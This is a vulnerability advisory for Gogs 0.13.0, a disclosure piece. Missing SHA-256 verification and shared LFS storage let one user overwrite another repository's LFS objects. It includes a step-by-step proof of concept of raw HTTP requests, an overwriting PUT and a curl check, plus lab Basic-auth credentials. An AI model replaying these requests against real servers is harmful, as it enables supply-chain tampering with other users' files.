Gogs: Cross-repository LFS object overwrite via missing content hash verification

Summary

Overwritable LFS object across different repos leads to supply-chain attack, all LFS objects are vulnerable to be maliciously overwritten by malicious attackers.

Details

Gogs store all LFS objects in the same place, no isolation between different repositories. (repo id not concatenated to storage path) https://github.com/gogs/gogs/blob/7a2dffa95ac64f31c8322cb50d32694b05610144/internal/lfsutil/storage.go#L52-L58

Gogs does not verify uploaded LFS file content against its claimed SHA-256, meaning attackers can manipulate the uploaded file like injecting backdoor. https://github.com/gogs/gogs/blob/7a2dffa95ac64f31c8322cb50d32694b05610144/internal/lfsutil/storage.go#L79-L89

Here's the comment that trust client to retry upload allowing them to overwrite. However, this assumption does not hold in the case of a malicious client. https://github.com/gogs/gogs/blob/7a2dffa95ac64f31c8322cb50d32694b05610144/internal/route/lfs/basic.go#L111-L113

PoC

# ./gogs -v
Gogs version 0.13.0

1. User (admin1) upload a LFS object into their repository admin1/testlfs.git normally

POST http://172.29.121.170/admin1/testlfs.git/info/lfs/objects/batch
User-Agent: git-lfs/3.0.2 (GitHub; linux amd64; go 1.17.2)
Accept-Encoding: gzip, deflate, br
Accept: application/vnd.git-lfs+json
Connection: keep-alive
Content-Type: application/vnd.git-lfs+json
Authorization: Basic YWRtaW4xOjg2ZjgxMmNkNDBiODY1YmIzZGQ1NTgyNDI2OTE2M2FmNDM3ZGZjZWI=
Content-Length: 168

{"operation": "upload", "objects": [{"oid": "5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a", "size": 1048576}], "ref": {"name": "refs/heads/master"}}

response: <Response [200]>
Connection: close
Content-Length: 438
Content-Type: application/vnd.git-lfs+json
Date: Thu, 28 Nov 2024 13:57:47 GMT
Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647

{'objects': [{'actions': {'upload': {'header': {'Content-Type': 'application/octet-stream'},
                                     'href': 'http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a'},
                          'verify': {'href': 'http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/verify'}},
              'oid': '5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a',
              'size': 1048576}],
 'transfer': 'basic'}

[STEP3] file_upload PUT http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a
headers: {'Content-Type': 'application/octet-stream', 'Accept': 'application/vnd.git-lfs+json', 'Authorization': 'Basic YWRtaW4xOjg2ZjgxMmNkNDBiODY1YmIzZGQ1NTgyNDI2OTE2M2FmNDM3ZGZjZWI='}
response:  <Response [200]>
[verify POST] http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/verify
POST http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/verify
User-Agent: git-lfs/3.0.2 (GitHub; linux amd64; go 1.17.2)
Accept-Encoding: gzip, deflate, br
Accept: application/vnd.git-lfs+json
Connection: keep-alive
Content-Type: application/vnd.git-lfs+json
Authorization: Basic YWRtaW4xOjg2ZjgxMmNkNDBiODY1YmIzZGQ1NTgyNDI2OTE2M2FmNDM3ZGZjZWI=
Cookie: lang=en-US
Content-Length: 92

{"oid": "5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a", "size": 1048576}

response: <Response [200]>
Connection: close
Content-Length: 0
Date: Thu, 28 Nov 2024 13:57:47 GMT

In this step, upload a LFS object 5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a

2. Attacker user2 overwrite this file by uploading manipulated content to their repo user2/public.git

PUT http://172.29.121.170:3000/user2/public.git/info/lfs/objects/basic/5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a
Content-Type: application/octet-stream
Accept: application/vnd.git-lfs+json
Authorization: Basic dXNlcjI6NTRmZGU5ZmI3YjdmOTQ0MmM3MzY4ODhlMWIyNjZmMWE4MzAyMzE5NQ==

response:  <Response [200]>

3. Verify the content has been overwritten:

# curl http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a -H "Authorization: Basic YWRtaW4xOjg2ZjgxMmNkNDBiODY1YmIzZGQ1NTgyNDI2OTE2M2FmNDM3ZGZjZWI=" -i
HTTP/1.1 200 OK
Content-Length: 1048576
Connection: keep-alive
Content-Type: application/octet-stream
Date: Thu, 28 Nov 2024 14:01:53 GMT
Keep-Alive: timeout=4
Proxy-Connection: keep-alive
Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647

curl: (18) transfer closed with 1048563 bytes remaining to read
2222 replaced

Impact

All LFS objects hosted on Gogs can be maliciously overwritten. Supply-chain attack is possible, and when user download LFS object from webpage, there's no warning at all.

Fix Suggestion

Uploaded LFS objects must be verified to ensure their content matches the claimed SHA-256 hash, to prevent the upload of tampered files.

Fix example: https://code.rhodecode.com/rhodecode-vcsserver/changeset/a680a60521bf02c29413d718ebca36c4f692ea4a?diffmode=unified